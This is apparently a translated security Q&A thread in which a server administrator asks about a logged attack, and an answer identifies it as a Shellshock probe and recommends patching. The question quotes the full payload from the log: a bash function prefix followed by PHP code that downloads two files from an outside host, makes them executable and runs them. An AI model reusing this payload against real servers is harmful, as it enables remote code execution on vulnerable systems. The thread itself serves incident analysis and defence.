(archivos de registro httpd) ¿Qué tipo de ataque es? ¿Cómo puedo prevenirlo? [duplicar]

3

En mis archivos de registro veo cientos de estos registros. Tengo que decir que la ip del cliente cambia a veces. Así que hay 3 o 4 ips enviando estas solicitudes ...

El othersite.something (que he pedido) es siempre el mismo.

[Sat Apr 11 21:34:13 2015] [error] [client xx.xxx.xx.xxx] script not found or unable to stat: /home/Myuser/web/myweb.something/cgi-bin/php5-cli, referer: () { :;} ;echo;/usr/local/bin/php -r '$a = "http://othersite.something//Help1";''$b = "http://othersite.something//Help2";''$c = sys_get_temp_dir();''$d = "Help1";''$e = "Help2";''$f = "chmod 777";''$g = "file_put_contents";''$h = "system";''$i = "file_exists";''$j = "fopen";''if ($i($c . "/$d"))''{''exit(1);''}else{''echo($c);''$g("$c/$d", $j("$a", "r"));''$g("$c/$e", $j("$b", "r"));''$h("$f " . $c ."/$d");''$h("$f " . $c ."/$e");''$h($c . "/$d");''$h($c . "/$e");''}'

¿Algún ataque está intentando usar mi servidor para hacer algo en otro servidor (othersite.something)?
¿O este ataque es contra mi servidor?

He visto que todos los registros aparecen como [errores] pero me gustaría detenerlos después de x intentos fallidos ...
Pero parece que fail2ban no está funcionando correctamente.

También debo decir que no estoy usando la carpeta cgi-bin ... no hay nada en el interior ... ¿podría simplemente configurar los permisos 640 o 600 para evitar esto?

    
pregunta dac777 12.04.2015 - 13:01
fuente

1 respuesta

2

Este ataque es una variante de Shellshock , denotada por el código de bash que se encuentra al principio del carga útil: () { :;} ; . La forma en que evita que su aplicación sea escaneada por los robots es desconectando su servidor de Internet. Las exploraciones en busca de vulnerabilidades de ejecución remota de código como Shellshock son extremadamente comunes y no desaparecerán pronto.

Un enfoque más práctico de la seguridad es garantizar que su sistema esté completamente actualizado y seguir las prácticas de codificación seguras. El Top 10 de OWASP es un buen lugar para comenzar, ya que ser vulnerable a Shellsock sería una violación de OWASP A9: utilizando componentes con vulnerabilidades conocidas .

    
respondido por el rook 12.04.2015 - 18:06
fuente

Lea otras preguntas en las etiquetas